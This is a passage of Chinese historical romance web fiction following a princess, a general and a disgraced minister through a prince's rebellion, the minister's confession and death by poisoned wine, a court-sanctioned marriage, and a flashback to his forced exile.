“说不定是鲁王世子刚刚赶回封地,鲁王才确认了陛下驾崩的消息。他若是真的有心,不如早上半个月起兵,朝中正乱,说不定还真被他打了个措手不及……”谢定满脸的不以为意,“来来回回确定时机,等真要动手黄花菜都凉了,如此畏首畏尾、不足为惧。” 丞相重重地“咳”了一声,打断了年轻人的口无遮拦,沉稳道:“年初刚刚打完对战匈奴那一仗,如今国库空虚,恐怕撑不下再打一场硬仗的,还得召治粟内史来问问,真要用兵,只能是速战速决。” 速战啊…… 谢定倒也确实顺着丞相的话沉思起来。 若不是在承明殿不方便行事,他恐怕要当场铺开舆图查看了。 这么简单地商讨完对策后,众人这才想起来看看那鲁王举兵的檄文。 自古举兵檄文都相类似,无非是诛杀佞臣、铲除昏庸,替天行道、匡扶社稷,这份檄文也不例外,打出的是“清君侧”的名号。 [太.祖平定天下,以子孙镇守封地,为朝廷之藩篱。臣身负太.祖之血脉,为贺氏之子孙,幸封于鲁地,日夜镇守东屏,不敢稍有懈怠。然今闻朝中有奸邪当道,佞臣苏之仪窃弄权术、离间君臣、构陷宗亲……陛下为此奸臣所害,皇长子为之所挟,臣身在鲁地,然日夜念此、每每必痛心疾首!如今拥兵而起,绝非为一己私欲,乃是清君侧、安宗庙、定社稷……] 檄文言辞慷慨激昂,但谢定瞥了两眼就收回了视线。 但凡举兵必定以“大义”为名,上面的话看看就得了……刚这么想着,又突然回神:那上面写的好像是“苏之仪”三个大字? 再三确认后,谢定忍不住心神一动。 但是环顾四周,殿内诸人却未做声。 谢定知道是因为岑篱在此的缘故。 虽然岑篱如今的婚事早已名存实亡,但是只要苏之仪还担着这摄政公主的驸马的名头一日,他就不会轻易被动。这一众辅政大臣本就是匆忙召集,关系算不上稳固,谁都不想在这外敌当前的时候,做出类似夺.权之举,打破内部的平衡。 但想法肯定是有想法的…… 谢定正想着这些,外面却又有人来报,说是有奏表呈上。 众人心下奇怪,若是普通奏表遣人来送过来就行,何必特意通传? 等真的见到之后,倒是明白是怎么回事了,宫人们拖着满满一车的竹简停在宫殿外,正一捧一捧地往殿内案几上放。看着这兴师动众的架势,想来是鲁王勾结的朝中之人的案子查得有眉目了。 岑篱往后看了眼,却不见人,不由奇道:“是苏廷尉送来的,他人呢?” “回公主,廷尉将这车竹简送到宫门,便离开了。” 岑篱蹙眉拿起其中一卷。 确实和他想的一样,是案子查出进展了。大概有了先前的提醒,他详细写了调查经过和证据,并特意提起了可以寻何人验证。若是构陷,可编不出这么完整的说法,也因此这竹简才到了如此繁琐累赘的地步。 但岑篱看着这些,神情却并未舒展,外敌当前,此时并非处理这事的机会,一个不好刚刚平稳下来的朝堂又生波澜,在鲁王谋反被平定之前,只能让人看住了这些人,别让他们将朝中的事透露出去……不、可以故意给他们放些假消息。 这么想着,岑篱总算神情稍定,却听旁边一道压抑的呼声。 岑篱循声看过去,就见御史大夫手里拿着最末的一份竹简,像是看到什么不可置信的东西,面带愕然。 岑篱凑过去看,表情也一点点惊愕下去。 这也是一份罪状,却是苏之仪的自陈罪名。 先前构陷种种,一一列明,墨迹分明地落于竹简之上。 ‘廷尉将这车竹简送到宫门,便离开了。’ 宫人先前的话在耳边想起,岑篱突然意识到什么,霍然起身。 第38章 宫内不许车马通行,但这个时候,岑篱却也顾不得许多。 她直奔厩监,吩咐:“备车,去苏府!” 焦急之间,她的没有留心,身后有一人跟着她同来。 而谢定已经解开厩监上的一匹马缰绳,他翻身上马,朝下方伸了手,“我带你去。” 岑篱愣了愣,但到底事出紧急,也无暇多想。她一把抓住了谢定的手,被带到了马上。 …… 一路快马加鞭,总算在一刻钟之内赶到了苏府。 岑篱先一步翻身下马,没有理会门房的惊呼,快步往书房冲去。 等她一把推开书房的门,苏之仪还好好的在几案前坐着,她这才松了口气。 将那提起的心安放回腹中,岑篱深吸了口气,稳下语调开口:“我说过‘将功赎罪’,倘若你真的查清楚了鲁王在朝中暗党,既往过错可以功相抵、过往不咎。” “过错?确实……”苏之仪却笑了,“我为先帝做事,先帝既殁,这些事当然成了过错。” 简直执迷不悟! 岑篱刚想说点什么,却见眼前人低低咳了一声,呛出一口血来。 看着他旁边空了的杯盏,岑篱脸色微变。 毒酒?! 她紧赶着往前走了一步,但后面不紧不慢拴好马匹的谢定却已经赶到,一把抓住了想要往前的岑篱。 苏之仪意外于谢定的出现,但面上却并不见怒色。 他仿佛没在意屋里突然多了个人,只是看着岑篱,轻声问:“鲁王起兵,用的是什么理由?” 岑篱:“……” 苏之仪像是已经猜到了,他低低地笑了起来,“我也想要……咳咳、为你……咳……做点什么……” 话语被咳声间隔成零碎的字句,却透出缱绻的温柔。 视线渐渐模糊起来,可是他又那么清楚地看见,她甩开谢定的手往这边跑过来。 疼痛从肺腑深处泛上来,五脏六腑都像是被刀子翻搅着,苏之仪却一边呛咳着,一边忍不住笑出了声。 ——这一次,换成那个人被推开了。 岑篱刚凑到几案旁边,就被苏之仪紧紧抓住了手臂。 仿佛穷途末路一般,那只苍白劲瘦的手爆发出极大的力道,可偏他声音轻得近乎呢喃。 “我说过了,我不会答应。” 他不会答应和离。 …… 苏之仪死了。 在上书自陈罪过之后,饮鸩酒于家中自绝。 念其生前功劳及悔过之心,仍以九卿之礼厚葬。 站在凌云台的高阁之上,岑篱向着远处眺望。 这高阁本就为了前朝末帝观景而造,齐朝立朝后以此为鉴,太.祖明令子孙修筑宫殿不许超过此台。但或许是登高而望、天下尽收眼底的感觉太好,往后子孙虽未再建高台,却从未落下对这凌云台的修维护,此刻从高处往下俯视,层层叠叠的宫殿楼宇都在脚下,远处能遥望到长安城门。 身后的门扉被推开,岑篱却并未回头。 一直等到那脚步渐渐走近,停在了她的身侧,她才缓声开口,“……我想不明白。” 谢定:“……” 想着苏之仪临死前的那抹笑,谢定不自觉地磨了下牙,只恨那日为什么没在街市上“惊个马”,耽误个把个时辰,等那人死透了再去。 岑篱:“最开始,我以为他是那等汲汲营营、谋求上位之人;后来阳曲之事,我以为他当真是奉直行事、不顾安危之士;再后来铸币一案,我又以为我看错了,他还是最初那个为了功名利禄不择手段之辈;可再之后……” 岑篱渐渐止了声。 她想不明白,明明都可以“将功赎罪”,他又为什么要让自己走到一条死路上。自始至终,他想要 的又到底是什么? 谢定强忍着安静了一会儿,还是抵不住开口,“为什么要想?” 岑篱侧身看他。 “既然想不通,那干脆别想了。那只能说,你和他从来不是一路人。” ……不是一路人吗? 看岑篱还是心不在焉的样子,谢定干脆扯开话题,“我要出征了。” 岑篱知道此事。 苏之仪一死,鲁王的清君侧大军彻底没了名头,成了妥妥的叛逆。 这数日之间,朝堂上商议的都是讨逆之事。 “我会回来。”谢定认真地看过来,“这一次……等我回来。” 岑篱怔然。 许久,她轻轻点头,“好。” * 本该是腊祭的日子,却成了大军出征的祭祀,接下来整个年节过得更是没有滋味。 国丧之下,禁止饮酒作乐,白雪覆着满城缟素,入目茫茫一片。而前线战事未平,朝中上下也不敢有半点放松,朝会照开不说,为了理政方便,连岑篱都从岑府搬回了宫中。 虽说过去这么久了,岑篱仍不习惯宫中。 夜中浅眠,听外面一阵悉悉索索的动静,岑篱猝然惊醒,忙令人去察看。 过了一会儿,护卫却支吾地回来回禀,“回公主,无甚大事……是、是檐角的积冰受了风落下来,幸好是晚上没砸着人,等明早让人去敲一敲,别等落下来伤到人。” 理由倒是说得过去,只是这表情实在像是另有隐情。 岑篱:“带我去看看。” 那护卫阻拦不了,最终还是带着岑篱去了。 岑篱也知道对方为什么说谎了。 她看着那一身棉服的小豆丁,还有周围一帮子急得大冬天冒汗的内侍,无奈地叹口气,“外面天冷,陛下还是到我寝宫里坐坐吧。” 升起炭火,点亮烛台。 岑篱开口询问:“陛下为何深夜在外?” 贺诣:“……” “太后可知道此事?” 贺诣总算有了反应,使劲摇了摇头。 “别告诉她。”顿了顿,一本正经地,“我不想娘亲担心。” “陛下纯孝,只是夜寒深重,陛下便是为了太后着想,也该珍惜己身。” 贺诣沉默了好一会儿,小声:“我睡不着。” “陛下能说说缘故吗?” “……我、朕害怕。” 岑篱费了点功夫,总算从贺诣嘴里问出了前因后果。 原来那日目睹正崇帝死于寝宫之中,这孩子便受了惊,夜间在宫殿常被梦魇惊醒,因为这段时日朝上事情一件接着一件,气氛一直紧绷着,贺诣不一定能意识到发生了什么事,但敏锐地感觉到周围人的态度,便没有对徐太后提起此事。为了入眠,他便每晚让内侍带着在宫中闲逛,一直累到睡着,再被内侍抱回宫中。 贺诣趴在岑篱的膝头,仰着脸小声询问:“我也会死吗?” 那双稚嫩的眼中还残留着惊惧之色,让岑篱想起了当年自己入宫的时候,她选择了“逃离”,但兜兜转转却还是住进了这宫墙之中。而到了如今,岑篱却也明白,这世上的路从来不是逃离这一条。 她轻轻抚上小孩子柔软的脸颊,温声:“孟子中有言,‘君之视臣如手足,则臣视君如腹心。君之视臣如犬马,则臣视君如国人。君之视臣如土芥,则臣视君如寇雠。’[1]” “太傅同朕讲过这话,是要朕把臣子当手足视之?” “陛下聪慧。” “这样就没事了吗?” “……还不够。”岑篱如实回答后,却又轻轻拍了拍孩子的背,安抚,“但陛下还小的,其他的事可以慢慢学。在那之前,还有我、还有太后。” “以后朕睡不着,能来阳嘉这里吗?” “当然可以。” * 这场谋反来得快,去得也快。冬日还没过去,大军就传来捷报,鲁地叛乱已平。这个由幼帝支撑的新朝,总算度过了它初生时的第一场劫难。 待到春芽抽出翠色的时候,众臣再次来到司马门前,等着班师回朝的大军。 哒哒的马蹄由远而近,青石板路的尽头红缨银铠的将军跨马而来,待到了近前,他轻勒马缰,动作矫捷地翻身下马,行军礼于御前,“叛贼已诛,臣幸不辱命。” 而他面前,年幼的皇帝却忍不住往后退了半步。 大抵还记得正崇帝薨逝的那一日,再见到这个便是跪着也高度与自己相当的青年,他不由回忆起那所有人都惊惧的夜晚。 一只柔软的手落在他的肩头,轻轻地拍了拍。 贺诣镇定下来,他上前一步,磕磕绊绊地背诵着早已拟好的圣旨,“朕年幼继位,践祚未久便逢家国大乱,幸得将军荡平叛逆,还天下以太平,定社稷以安宁……赐良马百匹、黄金百斤,益奉食邑三千……” 这一道圣旨背得不算顺畅,倒是没有错漏。 群臣百官都耐着性子等着皇帝宣完圣旨,一旁的谒者接下丝帛,还未及递送,却见前方的将军俯身叩首,“臣还有一请。” 场面为之一静。 幼主权臣,又是还未卸兵权的将军。再想起方才幼帝的反应,个中含义实在不得不让人多想。 但有正崇一朝的老臣,却觉这一幕有些熟悉。 果然—— 谢定叩首再请,“臣请求娶阳嘉公主。” 这并不在预先排演中的发展,让贺诣颇为不知所措,他忍不住抬头往后看,看见那轻搭着他肩头的女子轻一颔首,唇边还带着微微的笑意。 心情也跟着安定下来,幼帝转身,沉稳地回答—— “准。” * 这场御赐婚事虽然在新安元年就定了下来,但是采纳问名纳吉几个流程走过,真到了亲迎这一日,已经是次年春天了。 打磨清晰的铜镜映出了盛装的倒影,看着这熟悉的装扮,岑篱禁不住生出恍如隔世之感。 正晃着神,门外面传来动静。 寻夏人还没进门,声音倒是先传进来了,“一回生二回熟,我早早的让厨房准备了点心,这次公主路上可不用光靠米粣充饥了。” 少府来的礼官一如既往的沉默,但听了这话,还是忍不住往寻夏方向看了一眼。 拾春眼皮跳了跳,强忍呵斥的冲动把礼官一一送出去。 这才对着寻夏斥责,“你个口无遮拦的!” “本来就是。”寻夏不以为意,对着拾春笑,“好姐姐可别气了。今个可是郡主大喜日子,没人在乎这点小事。你瞧瞧,这阖府上下,也就是你嘴上挂油瓶了。” 拾春愣了愣,抬眼往外看,果然来来往往的小丫头们脸上解释喜气洋洋的。 再回头看向房内,模糊的铜镜中映出那盛妆的面容,一点浅淡的胭脂晕开在眼尾,映出了眉眼间淡淡的笑意。 今夕对比,拾春突然有点晃神。 但那点感慨还没来得及抒发,就见寻夏抬着手在她眼前晃了晃,“真气着了?” 拾春:“……” 她一把拍开那还带着糕点香的手,质问:“你是不是又偷吃了?” “怎、怎么能叫偷吃?我那是替公主尝尝。” 看着这两个人又要闹起来,岑篱也忍不住笑出声,出言圆场道,“好了好了,算是看在我的面子上。” 这话才落,外面家丞领着一连串仆从快步走进来,“公主,迎亲的队伍到了。” 屋里的笑闹彻底止下,拾春寻夏瞬间收起了先前玩闹时的不正经,冲着小丫头一一吩咐过去,一左一右扶起了岑篱,后面又有小丫头得了吩咐托起了长长的裙摆。 从屋内迈步到院外,刺目的阳光惹得岑篱眯了眯眼。 今日天空一碧万顷、万里无云。 院外却传来一阵喧闹声,礼官惊慌着叫嚷。 “将军!不能进!!” “驸马亲迎是在门口……” “……倒是快来个人拦一拦啊!” 这七嘴八舌的吵嚷中,身着礼服的新郎已经半只脚跨到了院门之中。看着正往外走的岑篱,谢定总算止了脚步。 他抬手蹭了下脸颊,不好意思中又带着某种理直气壮,“我已经错过了一次了。这一次不想只在外面等着。” 他必定得亲自走进来,亲眼看见人,他才能安下心去。 岑篱怔了片刻,也抬脚上前,越过了一旁婢女的扶持,走到了谢定身边。 她轻笑了声,莞尔低道:“既 然这样,那抱我上轩车吧。” 眼前一晃,人已经被打横抱起,浑身朱佩被撞得叮当作响。在身后“错了!全都错了!”的惊呼声中,她被稳稳地抱到了那辆轩车之上。 …… 这一场新朝最盛的婚事,便在礼官的痛心疾首的喝声中进行了下去。 只道是当时年少。 可是同她/他一起,又何时不年少呢? 【作者有话说】 [1]《孟子离娄章句下》 第39章 (接34章) 岑篱勉强压下怒气,忍着声问:“好,你倒是来说一说。” “陛下此次虽名为查案,但实则是为了肃清朝堂。这些年,陛下在朝堂上常遭反对,施政更是屡遇掣肘。想当年陛下也只是一方藩王,只是庄宗昏庸、犯了众怒,这才有陛下得各方拥立。朝臣拥立帝王,思及当年之事,让陛下如何心安?” “所以你便做陛下手里这把刀?” 苏之仪沉默。 “法者,天子所与天下公共也。[1]倘若律法成为天子手中的刀,天子所指便可论罪,那我父亲修齐律的意义何在?”她一点点抽回被苏之仪拉住的手,沉声,“若是当年便知道,赠出那卷九章律是如今这般结果,我只恨没早点把它烧了。” 苏之仪呼吸滞住,“令昭?” 岑篱已经起身离去,没有半点停留。 …… 从上午的争吵后,苏之仪一直坐在书房里没有动弹。 日头从偏斜渐渐升到正中,又缓缓地向着另一个方向落下去,天边渐渐染上暮色的黛紫。 “郎君,”五铢添了杯水在旁,小声,“你都已经坐了一天了,多少吃点东西吧。” 苏之仪这才回神。因为没有吩咐,五铢也不敢随意点灯,已经暗下去的书房里,一旁的炭火烧得正旺。 苏之仪低头看了眼手中的竹简,早朝之前走得匆忙,这竹简只写了一半。作为“证据”的账册本就是分次记录才显得真实,苏之仪才令五铢等墨迹晾干先收起来。 五铢试探开口:“郎君可要接着写?” 苏之仪却是拿起这卷竹简,往前递了递,将之投到前方的炭盆之中。 五铢不自抑地发出一声惊呼,和火烤竹片噼啵声混在一起。 苏之仪站起身来,从书柜顶层的匣子拿出了那卷陈旧的竹简。 简片陈旧变色,编绳因为时间过于久了已经换了不止一次,苏之仪抬手轻轻摩挲着其上的墨字。 炭盆之中,竹片被烤干成为燃料,燃着的火苗倏忽窜高,火光倒映在瞳孔里,摇曳着在其中飞舞。 * 阳曲铸币一案最后还是查清楚了。 “栾都侯利用阳曲铜矿私铸钱币,以此在朝中收买重臣。御史中丞不过是其收买的朝臣之一,并非自尽而是被毒杀,是栾都侯想将线索截断于此,避免牵连自身。臣在阳曲之时,遭遇阳曲郡守麾下私兵伏击,阳曲一地非但有铜矿,还是屏护长安之要冲。其勾连朝臣,四下屯兵,臣以为背后图谋甚大。” 正崇帝本来意图借铸币之案清洗朝堂,可如今当真牵扯到谋逆大事,他也终于将注意力放在案子本身上了,“栾都侯?石氏?……单只石氏一族不可能成事。不过鲁王王妃倒是出自石家,朕听说栾都侯与京中鲁王世子交从亲密。” 苏之仪叩首:“此事牵扯太广,臣不敢妄言。还请陛下遣人去鲁国探查,是非与否,一探便知。” 正崇帝倚靠在身后的软榻靠背上,半合着眸似是思考,口中轻声:“容朕再思量思量。” 他抬了一下手,似乎想要让苏之仪先下去,但瞥见手边的竹简时,却顿了顿,“耿毓乃是御史大夫的所属,他这个当御史中丞的被人收买,朱嵊河当真一无所知?” 苏之仪神色不变。 御史大夫屡屡在朝上冒犯天颜,从铸币一案开始调查,正崇帝就多次给出类似的暗示,而经过那一夜的竹简烧灼的火光,苏之仪也早准备好了回答,“启禀陛下,臣并未查出御史大夫与此案有所勾连。但御史大夫御下不严,以至于麾下官员做出如此悖逆之事,该治失察之罪。” 正崇帝没说话了。 帝王的眼神轻飘飘落在身上,却又似有重逾千钧之力。 好一会儿,苏之仪还是顶不住压力,开口:“若是鲁王暗中谋划之事为真,接下来免不了一场动乱。臣冒昧以为,承此危难之机,不宜在朝中再起波澜。” 正崇帝终于收回了视线。 “温知有心了。” “臣不敢。” 事情似是告一段路,苏之仪行礼正欲告退之时,正崇帝却突然开口:“这几日,上表参奏你的人可不少。” 他这么说着,漫不经心地将手放在了一旁的竹简,像是很随意地展开了半卷,却又弃置一边,抬了下手,示意赵吉把它们搬开,“朕瞧着都是些没用废话,放在这殿里还占着地方。” 苏之仪:“……” “臣谢陛下厚恩。” …… 苏之仪从大殿内出来,还能感受到胸腔内心脏不自然的收缩,仿佛被刀架在脖颈上比划了一个来回。他忍不住苦笑:这直臣还真不是那么好做的。 一直走到宫门口,他才从那股压力下平息下来。 正准备松口气,却见远远走来一人,一身武官打扮,步子迈得极大,脚下生风,连本来接引的小黄门都落后了半步,小跑地跟在身后。 这时候被召进来议事,苏之仪想起方才正崇帝思量的探查鲁国的事。 苏之仪摇头叹息,选这么一个人当“使者”,看来正崇帝是打定主意对鲁国来一场震慑。 * 被正崇帝急诏入宫的,正是谢定。 和苏之仪想的略有不同,正崇帝召见谢定的理由,却不是调查鲁国国内的情况,而是令他带兵护送鲁王入京。 “鲁王也好些年都没到长安,正巧朕前些时日让人卜算,今年是个好年头,朕着意让今岁的腊祭大办,也好请朕的这位叔叔来京一聚。虽然现在再去邀人晚了点,不过筹备祭祀也要日子,正好把腊祭推迟些时日,鲁王也不必急着赶路。” 谢定一怔。他并不清楚其中内情,但是无故召一个藩王入京,后者只要有点脑子,必定推托不受。 “臣以为,鲁王恐怕不愿成行。” 他“请”是能请来,就是方式恐怕不一定是正崇帝想见的。 正崇帝却更直接:“这是山东四郡的调兵兵符,若鲁王当真有不臣之心,不必上奏朝廷,就地调兵、便宜行事即可。” 谢定神色一凛,话说到这地步,他再不知道这一趟的目的就是蠢了。 只稍一思量,他便抱拳行礼,“臣领命。” 至于个中缘由,还是离宫以后再行打听,正崇帝恐怕不喜欢领兵的将军涉足太多政事。 见谢定这反应,正崇帝果然满意。他抬手免礼,又态度亲厚地,“有怀朔带兵,朕没有什么不放心的,只是朕该好好想想怎么封赏了……怀朔先定边疆又平内乱,如此之功劳,说是平定社稷都不为过,有什么想要的,尽管开口。” “臣之所求,始终如一。” 习惯了底下臣子的各种谦辞,对谢定这么直白的话,正崇帝还真的愣了一下。 短暂的停顿后,却是哈哈大笑,“果真是年轻人啊!” 正崇帝这么说着,抬手拍了拍谢定的背,却也没说应也不应,只是道,“鲁地凶险,怀朔此行多加小心。至于说奖赏,还是等你回来罢。” 谢定心底隐有所感,但御前应对却由不得他多想,只是再次拱手行礼。 “……臣定不负圣托。” * 谢定离京,而苏之仪在朝中的日子却不好过。 朝中诸臣对鲁国之事尚不知内情,不少人对腊祭改期颇有微词,偏偏正崇帝有意放任,想要趁机在“勾结鲁王”的名单上再添几个人名。 正崇帝的意图如此明显,苏之仪还真不敢视而不见,若真的枉顾帝王意思,他这个廷尉也做到头了。但若依照正崇帝的想法,恐怕得血洗一遍朝堂。因而他也只能硬着头皮小心应对。 再三检查过案上的奏表,又在脑海里演练了一番明日御前对答。确认无误之后,苏之仪才有稍许放松。 而他的手边,不知什么时候放了一个陶甗的甑。 苏之仪刚才专心修改没有在意,甑里的汤已经空了,嘴里还隐隐有股怪味儿。 苏之仪想起,刚才五铢确实送了汤来,他无心在意,就让人放到一边。 脑中不由 自主地忆起了那次的五鞭汤,苏之仪脸色青青白白,变幻了好一阵子。他突然起身,向着一旁的洗室快步走去,步子看起来竟有些踉跄。 “呕——!” 岑篱被五铢急匆匆叫来的时候,看见苏之仪正在院子里面用青盐漱口。 “家仆说你刚才吐了,是吃了什么不干净的东西?要不要请医工来看看。” 苏之仪才刚刚吐完,脸色还有点发白,被岑篱这么一问,神情更加僵硬,“不,没什么。已经好了。” 他想要自然点走开,但想起自己刚才喝下去什么东西,脚下还是一阵虚浮。 岑篱上前扶了一把,“真的没事?还是请单医来看看吧。” 苏之仪:“……” 他又想起了五铢遍寻偏方的事。 但、单医? “谢家的医工?” 岑篱顿了顿,低声:“是兰君请的。” 苏之仪才不想分辨到底是谢家兄妹中的何人。 “……令昭,我既然已经照你说的做,便不想你和那边再有牵扯。还是你觉得,我有哪里做得还不够?” 岑篱蹙眉:“不是照我说的——” 她话还没说完,兀地止了声。 苏之仪拉着她的手落在自己腰间,半是强迫地将人拽到了怀里,低声:“那日你说,想要再同我去一次西市。这话难道是假的吗?” 岑篱:“……” 两人当然没有去西市,而是去了卧房。 外面的寒意森凉,可房内的炭火却烧得正旺,蒸腾的热气好似从身体深处烧出来,汗珠打湿了鬓发,顺着脖颈往下滚落。 …… 第二日一早,苏之仪醒来。 陌生的床幔让他有片刻恍惚,屋内还留有些昨夜荒唐的气息,混着怀中的香气丝丝缕缕钻入鼻腔。 再一低头,就看见自己正拥着一个人。 她侧着身靠在他肩头,像是被他醒来动静惊动,睡梦中不安稳地蹙了下眉。 苏之仪心中一动,但几乎一转念,又想起了今日还要早朝。他无奈地叹了一声,放轻了动作,慢慢地把手抽了出来。又轻手轻脚地捡起了外衣,冒着寒气去外间换上了外袍。 刚一出门,就见五铢在门口守着。 见他出来,立刻挤眉弄眼地,“小的就说,那汤管用吧、” 苏之仪:“……府里的马厩许久没清理的了,你今日去清洗一遍。” 五铢:“啊?” “等我下朝回来,就去马厩看看。有一处没清理干净的,便扣一月的月钱。” 五铢:??? 【作者有话说】 [1]《史记张释之冯唐列传》 第40章 苏之仪昨日左右斟酌的那份奏表,其实一份劝谏表。 上奏的大意是劝谏正崇帝不要借鲁国之事扩大牵连范围。 当然,真的落于字句之中,不免字斟句酌,陈情利弊不说,还不忘对正崇帝的溢美之辞。怎么委婉怎么来。 也不出所料的,这招致了正崇帝的不满。 朝会后,苏之仪被召于偏殿等待议事。 偏殿炭火烧得不旺,寒气丝丝缕缕地往里渗,苏之仪一直被晾了几个时辰,将近午时了,才得了一句内官传来的口信,似是敲打:“廷尉掌天下之刑狱、断百官之罪行,可不适合心慈手软之人。” 苏之仪苦笑,他明白正崇帝的意思。 这天下从不缺想要给皇帝当刀子的人,刀刃若是不锋利了,换一把就是。 …… 行至府前,却见一人伫立于廊下。 苏之仪怔了一下,快步迎上前去,“天这么冷,怎么在外面等?” “午时过了还不见你回来,我想着要不要进宫看看。”岑篱眸带担忧,“是今日朝中有什么大事?” 苏之仪怔了怔,温热的暖流淌过,他发现自己不知道什么时候笑了起来。 他避重就轻地,“只是些平常的议事,和这些时日以来都无甚不同……只是时辰久了点。” 岑篱却知道“和这些时日相同”的含义。 她轻轻握住了苏之仪的手,轻声:“很耗心神?” 她知道她大父的脾气,想要不触怒的前提下违逆一个帝王,确实需要花好些心思。 苏之仪笑着摇了摇头,“固己所求尔。” 既然本就是他心心念念所求的,又怎能说耗费心思呢? * 当年的年末,鲁王拒不入京,起兵反叛,卫将军谢定领山东四郡兵力镇压。 战场拼杀是腥风血雨,可朝堂上的刀光剑影却不遑多让。 鲁国叛军屡屡受挫的同时,朝中也查出,有诸多大臣与鲁王暗中勾结,一时之间,朝中人人自危,恐再现四年前先太子一案的惨状。 可出乎预料的,正崇帝的这次处置极其克制。 和谋逆之事有直接牵扯的罪魁祸首自然是抄家流放无从赦免,但其余姻亲牵扯竟然并未涉罪其中。 众臣松口气之余,纷纷叩谢陛下圣明仁慈。 大朝会之后的议事,苏之仪这次倒是被召见入殿了。 正崇帝脸上不见喜怒,只是翻看着手里的奏表,听不出什么语气地说,“这几日倒是颇多歌功颂德的奏表,连御史大夫都一改常态,念起了朕的好了,说什么‘雷霆处之而不滥’。朕瞧着,这些奏表不该送给朕,应该是给朕选的好廷尉,你说是不是?” “臣不敢。陛下以德怀天下,臣有幸侍奉御前,得陛下多年教化才有今日……陛下对臣的恩德,臣不敢稍忘于心。” “是啊,你也在朕身边呆了这么多年了……”像是被这番话唤起了些回忆,正崇帝态度比之先前亲近了点,“鲁王叛乱,鲁国跟着也得除国,划国为郡后,鲁地倒是缺一个郡守。这地方刚刚平乱,正需要刚柔并济,既能安抚民心又宣朝堂之威德,朕记得温知的祖籍便在鲁国?” 苏之仪:“是。” 正崇帝看过来:“那朕命你为这鲁郡郡守,你看如何?” 苏之仪:“……” 廷尉和郡守都为秩两千石的高官,一为朝中要员,一为封疆大吏。可这“封疆大吏”也要看封在哪里,鲁国国乱刚平、鲁王却在此地多年经营,这时候被朝廷派去当郡守,是祸非福。 未得到立刻的回答,正崇帝轻轻“嗯?”了一声。 此时此刻,在帝王的逼视下,苏之仪也只能叩首谢恩,“臣必不负陛下所托。” 正崇帝这才神色稍展,只是顿了顿,又道:“朕的阳嘉从小就长在宫里,养得娇贵又没吃过什么苦。鲁国地远,朕舍不得她奔波跋涉。” 苏之仪:“……” “臣明白。” 他明白的。一直都明白。 早在最开始选择这条路,他就猜到了这么一遭。 一个个墨字落于竹简之上,这份御命之下的和离书,苏之仪本以为自己会很难落笔,比那次替御史大夫求情的奏表更难。但事实却恰恰相反,他简直是挥毫而就,比曾经写的每一篇文章都容易。 原来他早就知道自己要写了。 从大婚的第一日起,他便知道,这强求来的婚事,迟早要交还回去。 …… 苏府门口,五铢看着上面御赐的牌匾,表情纠结,“郎君,不如咱们等天暖暖再走吧。” 苏之仪摇头,“走吧。圣命岂是能耽搁的?” 五铢:“……” 这陛下也真是的,说让人走,就一天不给多留。 苏之仪连行装都未收拾,只是带上通行文书和任命郡守圣旨,和五铢二人踏上了赴任之途。 他似乎是怎么来的,就怎么离开的,一如当年他被苏父选中时。 原来直到最后,他的所求所念、哪一个都握不到手中。 * 因为宫中传来苏之仪被留下的消息,岑篱是第二日才发现那份和离书的。 竹简展开,最侧边的几个字映入眼中,拾春险些以为自己看错了:“郡主?” 她才刚刚见夫妻二人真有点琴瑟和鸣的样子,全不知道怎么会成这个样子。 岑篱却想起了前一日宫里传来的消息,她还有什么不明白的。 “备车,我要入宫。” 像是对岑篱的求见早有预料,正崇帝早早的就在承明殿等着了,被岑篱询问后,他更是直接点头,“确实是朕的意思。” “鲁地刚刚除国,如今鲁 王世子又从京中逃出,不知所踪,朕在鲁国的大军都还没撤呢。那地方不安稳,我要是让你去了,你母亲梦里都要和我闹翻天了。”他轻叹一声,倒是真有几分祖辈的疼爱之意,“原本苏温知这身份配你就低些了,你当时闹着想嫁,朕也没法子,可他在长安的时候尚可,鲁地那么远,他要是欺侮你了,朕也鞭长莫及。不如这般,你在京里再寻一门婚事——” 岑篱:“当年庄宗迫害宗室、追捕藩王时,大母可曾弃您而去?” 正崇帝一下子止了话。 好半天,他才沉沉地唤了一声,“阳嘉。” 旁边的赵吉只恨不得跪着给下面祖宗磕一个:这是能随便提的吗? 岑篱也知道过犹不及。 她只是深深叩首,“请大父允儿同去鲁地。” “即便是一去不回?” 旁边的赵吉脸色都青了,陛下这分明都被气到说胡话了。 然而底下那位祖宗更绝。 “儿谢大父应允。” …… 岑篱拜别离开后,殿内安静了好一会儿。 赵吉连喘气声音都不敢放大了,生怕在这时候触怒正崇帝。 敢这么和陛下顶撞还能全身而退的,满朝上下也找不出第二个了。 一直到“啪”的一声,正崇帝狠狠地把手中的竹简掷到了地上,赵吉才噗通一声跪下,“陛下息怒,阳嘉郡主只是年纪小、不懂事,再过几年,待郡主再长大些,便知道陛下的一番苦心了。” “年纪小?!朕看她是翅膀硬了!” “陛下息怒啊!正如陛下说的,郡主从小长在宫里头,哪知道外面的人心险恶?陛下不如放手让郡主在外头呆几年,郡主吃了些苦头,便知道回头了。” “回头?”正崇帝冷冷地嗤了一声,那怒气压隐着没有消散,面上却一点点攀上疲惫冷寂的神色,“不,不会回头的。楚元不愿意留下,早早地便求了婚事,一开始好歹知道常回宫里看看,后来、后来。容德从没说过……但是朕知道朕知道……” 正崇帝一连重复了好几个“朕知道”,周围人都屏着气不敢搭腔。 好一会儿,他才长叹一声,“阳嘉不像她娘亲,更像她大母。” “……” 殿内安静了好一会儿,赵吉才小声地,“既然阳嘉郡主更像皇后,心里定是念着您的,这会儿只是一时置气。” 正崇帝没说话,只是单手撑着额头挡住了全部的神情。 好一会儿,他才抬了抬手,“……拨一队羽林卫去吧。路上凶险,别真遭了盗匪。” * “郡主,前面是一条峡道,两面地势高,最容易设伏。咱们不如绕道?” 听了景九的禀报,岑篱没有多做犹豫就直接点头答应下来。 他们往鲁地的这一行并不太平,进入鲁国境内更是如此。 战乱最易生盗匪,或是被毁家园的黎民为生存所迫,或是战场的溃兵占山为王。岑篱这一行车马俱全,又带了好几车的货物,纵然旁边都是精壮守卫,却也免不了有人见财起意。 得了岑篱答应后,车队立刻调头,但还没有转过弯去,就生了意外。 就在整个车队横在路中,护卫的队形还在调整时,突然听“嗖”的一声,一支羽箭破空而来,正正朝着岑篱所在的车厢,箭头没入车厢壁的木头上,箭尾还在不住地震颤。 景九:“列阵!保护郡主!!” 羽箭的破空而来,却撞到了围绕得密不透风的盾牌上。 隔了一会儿,似乎是发现了远程的弓箭不起效果,敌人奔了下来,刀剑挥斩和兵刃交戈的动静从外面传来。 岑篱坐在车上没动弹,一直等到外面的打斗平静,景九过来回禀情况,她才下车查看。 几个护卫在旁边包扎伤口,清点损失。 